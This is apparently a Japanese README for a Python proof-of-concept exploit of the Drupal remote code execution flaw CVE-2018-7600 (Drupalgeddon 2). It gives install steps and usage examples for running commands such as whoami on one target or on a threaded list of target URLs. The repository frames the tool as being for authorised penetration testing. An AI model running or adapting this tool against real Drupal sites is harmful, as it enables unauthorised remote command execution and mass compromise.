
このリポジトリは、CVE-2018-7600(通称Drupalgeddon 2)の完全な自作Proof-of-Concept(PoC)を紹介しています。Drupal 7および8のコアにおけるこの深刻な脆弱性はリモートコード実行(RCE)を可能にし、本PoCはその悪用を明確かつ教育的な方法で実演しています。
このリポジトリには、Drupalgeddon2 (CVE-2018-7600) として知られるDrupalの重大なリモートコード実行脆弱性に対する、Pythonベースの概念実証エクスプロイトが含まれています。このスクリプトは教育目的およびセキュリティ専門家が許可されたペネトレーションテストシナリオで使用するために設計されています。
このツールは、法的かつ倫理的な目的のみを対象としています。所有者の明示的な許可なくこのスクリプトをシステムで使用することは違法です。著者および貢献者は、このスクリプトの誤用または損害について一切の責任を負いません。自己責任で使用してください。
requests ライブラリcolorama ライブラリgit clone <repository-url>
cd <repository-directory>
pip install -r requirements.txt
pip install requests colorama
このスクリプトは、実行をカスタマイズするためのいくつかのコマンドライン引数を提供します。
デフォルトコマンド (whoami) で単一ターゲットを攻撃:
python3 drupalgeddon2.py -t http://example.com
カスタムコマンド (例: ls -la) で単一ターゲットを攻撃:
python3 drupalgeddon2.py -t http://vulnerable-drupal.site -c "ls -la"
ファイルからターゲットのリストをスキャン:
targets.txt というファイルを作成し、各行に1つのURLを記述します:
http://site1.com
https://site2.org
http://site3.net
次にスクリプトを実行します:
python3 drupalgeddon2.py -l targets.txt
カスタムコマンドとスレッド数を増やしてリストをスキャン:
python3 drupalgeddon2.py -l targets.txt -c "uname -a" -T 10
出力をログファイルに保存:
python3 drupalgeddon2.py -l targets.txt -o scan_results.log
| 引数 | 短縮形 | 説明 | デフォルト |
|---|
--target | -t | 単一のターゲットURL。 | - |
--list | -l | ターゲットURLのリストを含むファイルへのパス。 | - |
--command | -c | ターゲット上で実行するコマンド。 | whoami |
--threads | -T | 使用する同時スレッド数。 | 5 |
--output | -o | 出力を記録するファイル。 | - |
--timeout | リクエストのタイムアウト時間(秒)。 | 15 |